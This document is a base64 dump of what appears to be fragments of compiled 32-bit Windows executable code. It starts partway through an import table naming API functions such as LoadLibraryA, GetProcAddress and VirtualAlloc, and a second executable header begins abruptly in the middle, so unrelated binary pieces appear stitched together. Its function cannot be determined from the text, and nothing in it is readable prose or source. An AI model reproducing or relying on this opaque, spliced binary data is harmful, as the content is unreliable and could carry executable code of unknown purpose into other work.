ZVBvaW50ZXIAAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgDAA1JlYWRGaWxlAAAlBVdyaXRlRmlsZQARBVdpZGVDaGFyVG9NdWx0aUJ5dGUAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAAM8CSGVhcEZyZWUAABgCR2V0TW9kdWxlSGFuZGxlVwAARQJHZXRQcm9jQWRkcmVzcwAAGQFFeGl0UHJvY2VzcwBkAkdldFN0ZEhhbmRsZQAAEwJHZXRNb2R1bGVGaWxlTmFtZUEAABQCR2V0TW9kdWxlRmlsZU5hbWVXAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbwRTZXRIYW5kbGVDb3VudAAA8wFHZXRGaWxlVHlwZQBiAkdldFN0YXJ0dXBJbmZvQQDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDHBFRsc0dldFZhbHVlAMUEVGxzQWxsb2MAAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAO8CSW50ZXJsb2NrZWRJbmNyZW1lbnQAAMUBR2V0Q3VycmVudFRocmVhZElkAADrAkludGVybG9ja2VkRGVjcmVtZW50AADNAkhlYXBDcmVhdGUAAOwEVmlydHVhbEZyZWUApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAcgFHZXRDUEluZm8AaAFHZXRBQ1AAADcCR2V0T0VNQ1AAAAoDSXNWYWxpZENvZGVQYWdlAI8AQ3JlYXRlRmlsZVcA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AIcEU2V0U3RkSGFuZGxlAABXAUZsdXNoRmlsZUJ1ZmZlcnMAABoFV3JpdGVDb25zb2xlQQCwAUdldENvbnNvbGVPdXRwdXRDUAAAJAVXcml0ZUNvbnNvbGVXAMsCSGVhcEFsbG9jAOkEVmlydHVhbEFsbG9jAADSAkhlYXBSZUFsbG9jADwDTG9hZExpYnJhcnlBAAArA0xDTWFwU3RyaW5nQQAALQNMQ01hcFN0cmluZ1cAAGYCR2V0U3RyaW5nVHlw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